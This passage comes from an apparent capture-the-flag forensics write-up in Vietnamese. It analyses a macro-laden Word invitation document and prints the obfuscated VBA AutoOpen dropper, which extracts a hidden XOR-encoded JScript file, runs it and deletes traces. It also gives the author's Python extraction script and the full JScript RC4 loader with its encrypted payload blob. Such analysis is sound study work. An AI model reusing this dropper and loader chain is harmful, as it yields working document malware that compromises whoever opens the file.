xor_key = ((xor_key Xor 99) Xor (i Mod 254))
Next i
JFqcfEGnc = True
End Function

Sub AutoClose() 'delete the js script'
On Error Resume Next
Kill IAiiymixt
On Error Resume Next
Set aMUsvgOin = CreateObject("Scripting.FileSystemObject")
aMUsvgOin.DeleteFile kWXlyKwVj &amp; "\*.*", True
Set aMUsvgOin = Nothing
End Sub

Sub AutoOpen()
On Error GoTo MnOWqnnpKXfRO
Dim chkDomain As String
Dim strUserDomain As String
chkDomain = "GAMEMASTERS.local"
strUserDomain = Environ$("UserDomain")
If chkDomain &lt;&gt; strUserDomain Then

Else

Dim gIvqmZwiW
Dim file_length As Long
Dim length As Long
file_length = FileLen(ActiveDocument.FullName)
gIvqmZwiW = FreeFile
Open (ActiveDocument.FullName) For Binary As #gIvqmZwiW
Dim CbkQJVeAG() As Byte
ReDim CbkQJVeAG(file_length)
Get #gIvqmZwiW, 1, CbkQJVeAG
Dim SwMbxtWpP As String
SwMbxtWpP = StrConv(CbkQJVeAG, vbUnicode)
Dim N34rtRBIU3yJO2cmMVu, I4j833DS5SFd34L3gwYQD
Dim vTxAnSEFH
    Set vTxAnSEFH = CreateObject("vbscript.regexp")
    vTxAnSEFH.Pattern = "sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa"
    Set I4j833DS5SFd34L3gwYQD = vTxAnSEFH.Execute(SwMbxtWpP)
Dim Y5t4Ul7o385qK4YDhr
If I4j833DS5SFd34L3gwYQD.Count = 0 Then
GoTo MnOWqnnpKXfRO
End If
For Each N34rtRBIU3yJO2cmMVu In I4j833DS5SFd34L3gwYQD
Y5t4Ul7o385qK4YDhr = N34rtRBIU3yJO2cmMVu.FirstIndex
Exit For
Next
Dim Wk4o3X7x1134j() As Byte
Dim KDXl18qY4rcT As Long
KDXl18qY4rcT = 13082
ReDim Wk4o3X7x1134j(KDXl18qY4rcT)
Get #gIvqmZwiW, Y5t4Ul7o385qK4YDhr + 81, Wk4o3X7x1134j
If Not JFqcfEGnc(Wk4o3X7x1134j(), KDXl18qY4rcT + 1) Then
GoTo MnOWqnnpKXfRO
End If
kWXlyKwVj = Environ("appdata") &amp; "\Microsoft\Windows"
Set aMUsvgOin = CreateObject("Scripting.FileSystemObject")
If Not aMUsvgOin.FolderExists(kWXlyKwVj) Then
kWXlyKwVj = Environ("appdata")
End If
Set aMUsvgOin = Nothing
Dim K764B5Ph46Vh
K764B5Ph46Vh = FreeFile
IAiiymixt = kWXlyKwVj &amp; "\" &amp; "mailform.js"
Open (IAiiymixt) For Binary As #K764B5Ph46Vh
Put #K764B5Ph46Vh, 1, Wk4o3X7x1134j
Close #K764B5Ph46Vh
Erase Wk4o3X7x1134j
Set R66BpJMgxXBo2h = CreateObject("WScript.Shell")
R66BpJMgxXBo2h.Run """" + IAiiymixt + """" + " vF8rdgMHKBrvCoCp0ulm"
ActiveDocument.Save
Exit Sub
MnOWqnnpKXfRO:
Close #K764B5Ph46Vh
ActiveDocument.Save
End If
End Sub
</code></pre>
<p>Code obfuscate bằng tên biến, đọc cũng khá xuôi :v. Đại khái là nó search pattern <code>sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa</code> trong binary của document đang hoạt động (chính là con docm này). Khi tìm thấy pattern rồi sẽ skip pattern, lấy 13082 data đằng sau modify đi thành code js và chạy.</p>
<p>Mình find index của pattern đó trong binary bằng <code>HxD</code>, sau đó viết 1 script để lấy phần code js ra:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">with</span> open(<span class="hljs-string">"forensics_game_invitation\invitation.docm"</span>, <span class="hljs-string">"rb"</span>) <span class="hljs-keyword">as</span> f:
    data = f.read()

index = <span class="hljs-number">0x1FCB9</span>
js = data[index : index + <span class="hljs-number">13082</span>]
xorkey = <span class="hljs-number">45</span>
newd = [<span class="hljs-number">0</span> <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">13082</span>)]

<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(len(js)):
    newd.append(js[i] ^ xorkey)
    xorkey = (xorkey ^ <span class="hljs-number">99</span>) ^ (i % <span class="hljs-number">254</span>)

<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> newd:
    print(chr(i), end = <span class="hljs-string">""</span>)
</code></pre>
<p>Output dính vào nhau khá đau mắt 💀, mình ném lên <a target="_blank" href="https://lelinhtinh.github.io/de4js/">https://lelinhtinh.github.io/de4js/</a> để nó format lại cho dễ nhìn:</p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/6f844a66-b1e9-454b-9d36-dfcdaa543c15" alt="image" /></p>
<p>Full Script Js:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">var</span> lVky = WScript.Arguments;
<span class="hljs-keyword">var</span> DASz = lVky(<span class="hljs-number">0</span>);
<span class="hljs-keyword">var</span> Iwlh = lyEK();
Iwlh = JrvS(Iwlh);
Iwlh = xR68(DASz, Iwlh);
<span class="hljs-built_in">eval</span>(Iwlh);

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">af5Q</span>(<span class="hljs-params">r</span>) </span>{
    <span class="hljs-keyword">var</span> a = r.charCodeAt(<span class="hljs-number">0</span>);
    <span class="hljs-keyword">if</span> (a === <span class="hljs-number">43</span> || a === <span class="hljs-number">45</span>) <span class="hljs-keyword">return</span> <span class="hljs-number">62</span>;
    <span class="hljs-keyword">if</span> (a === <span class="hljs-number">47</span> || a === <span class="hljs-number">95</span>) <span class="hljs-keyword">return</span> <span class="hljs-number">63</span>;
    <span class="hljs-keyword">if</span> (a &lt; <span class="hljs-number">48</span>) <span class="hljs-keyword">return</span> <span class="hljs-number">-1</span>;
    <span class="hljs-keyword">if</span> (a &lt; <span class="hljs-number">48</span> + <span class="hljs-number">10</span>) <span class="hljs-keyword">return</span> a - <span class="hljs-number">48</span> + <span class="hljs-number">26</span> + <span class="hljs-number">26</span>;
    <span class="hljs-keyword">if</span> (a &lt; <span class="hljs-number">65</span> + <span class="hljs-number">26</span>) <span class="hljs-keyword">return</span> a - <span class="hljs-number">65</span>;
    <span class="hljs-keyword">if</span> (a &lt; <span class="hljs-number">97</span> + <span class="hljs-number">26</span>) <span class="hljs-keyword">return</span> a - <span class="hljs-number">97</span> + <span class="hljs-number">26</span>
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">JrvS</span>(<span class="hljs-params">r</span>) </span>{
    <span class="hljs-keyword">var</span> a = <span class="hljs-string">"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"</span>;
    <span class="hljs-keyword">var</span> t;
    <span class="hljs-keyword">var</span> l;
    <span class="hljs-keyword">var</span> h;
    <span class="hljs-keyword">if</span> (r.length % <span class="hljs-number">4</span> &gt; <span class="hljs-number">0</span>) <span class="hljs-keyword">return</span>;
    <span class="hljs-keyword">var</span> u = r.length;
    <span class="hljs-keyword">var</span> g = r.charAt(u - <span class="hljs-number">2</span>) === <span class="hljs-string">"="</span> ? <span class="hljs-number">2</span> : r.charAt(u - <span class="hljs-number">1</span>) === <span class="hljs-string">"="</span> ? <span class="hljs-number">1</span> : <span class="hljs-number">0</span>;
    <span class="hljs-keyword">var</span> n = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Array</span>(r.length * <span class="hljs-number">3</span> / <span class="hljs-number">4</span> - g);
    <span class="hljs-keyword">var</span> i = g &gt; <span class="hljs-number">0</span> ? r.length - <span class="hljs-number">4</span> : r.length;
    <span class="hljs-keyword">var</span> z = <span class="hljs-number">0</span>;

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">b</span>(<span class="hljs-params">r</span>) </span>{
        n[z++] = r
    }
    <span class="hljs-keyword">for</span> (t = <span class="hljs-number">0</span>, l = <span class="hljs-number">0</span>; t &lt; i; t += <span class="hljs-number">4</span>, l += <span class="hljs-number">3</span>) {
        h = af5Q(r.charAt(t)) &lt;&lt; <span class="hljs-number">18</span> | af5Q(r.charAt(t + <span class="hljs-number">1</span>)) &lt;&lt; <span class="hljs-number">12</span> | af5Q(r.charAt(t + <span class="hljs-number">2</span>)) &lt;&lt; <span class="hljs-number">6</span> | af5Q(r.charAt(t + <span class="hljs-number">3</span>));
        b((h &amp; <span class="hljs-number">16711680</span>) &gt;&gt; <span class="hljs-number">16</span>);
        b((h &amp; <span class="hljs-number">65280</span>) &gt;&gt; <span class="hljs-number">8</span>);
        b(h &amp; <span class="hljs-number">255</span>)
    }
    <span class="hljs-keyword">if</span> (g === <span class="hljs-number">2</span>) {
        h = af5Q(r.charAt(t)) &lt;&lt; <span class="hljs-number">2</span> | af5Q(r.charAt(t + <span class="hljs-number">1</span>)) &gt;&gt; <span class="hljs-number">4</span>;
        b(h &amp; <span class="hljs-number">255</span>)
    } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (g === <span class="hljs-number">1</span>) {
        h = af5Q(r.charAt(t)) &lt;&lt; <span class="hljs-number">10</span> | af5Q(r.charAt(t + <span class="hljs-number">1</span>)) &lt;&lt; <span class="hljs-number">4</span> | af5Q(r.charAt(t + <span class="hljs-number">2</span>)) &gt;&gt; <span class="hljs-number">2</span>;
        b(h &gt;&gt; <span class="hljs-number">8</span> &amp; <span class="hljs-number">255</span>);
        b(h &amp; <span class="hljs-number">255</span>)
    }
    <span class="hljs-keyword">return</span> n
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">xR68</span>(<span class="hljs-params">r, a</span>) </span>{
    <span class="hljs-keyword">var</span> t = [];
    <span class="hljs-keyword">var</span> l = <span class="hljs-number">0</span>;
    <span class="hljs-keyword">var</span> h;
    <span class="hljs-keyword">var</span> u = <span class="hljs-string">""</span>;
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">var</span> g = <span class="hljs-number">0</span>; g &lt; <span class="hljs-number">256</span>; g++) {
        t[g] = g
    }
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">var</span> g = <span class="hljs-number">0</span>; g &lt; <span class="hljs-number">256</span>; g++) {
        l = (l + t[g] + r.charCodeAt(g % r.length)) % <span class="hljs-number">256</span>;
        h = t[g];
        t[g] = t[l];
        t[l] = h
    }
    <span class="hljs-keyword">var</span> g = <span class="hljs-number">0</span>;
    <span class="hljs-keyword">var</span> l = <span class="hljs-number">0</span>;
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">var</span> n = <span class="hljs-number">0</span>; n &lt; a.length; n++) {
        g = (g + <span class="hljs-number">1</span>) % <span class="hljs-number">256</span>;
        l = (l + t[g]) % <span class="hljs-number">256</span>;
        h = t[g];
        t[g] = t[l];
        t[l] = h;
        u += <span class="hljs-built_in">String</span>.fromCharCode(a[n] ^ t[(t[g] + t[l]) % <span class="hljs-number">256</span>])
    }
    <span class="hljs-keyword">return</span> u
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">lyEK</span>(<span class="hljs-params"></span>) </span>{
    <span class="hljs-keyword">var</span> r = <span class="hljs-string">"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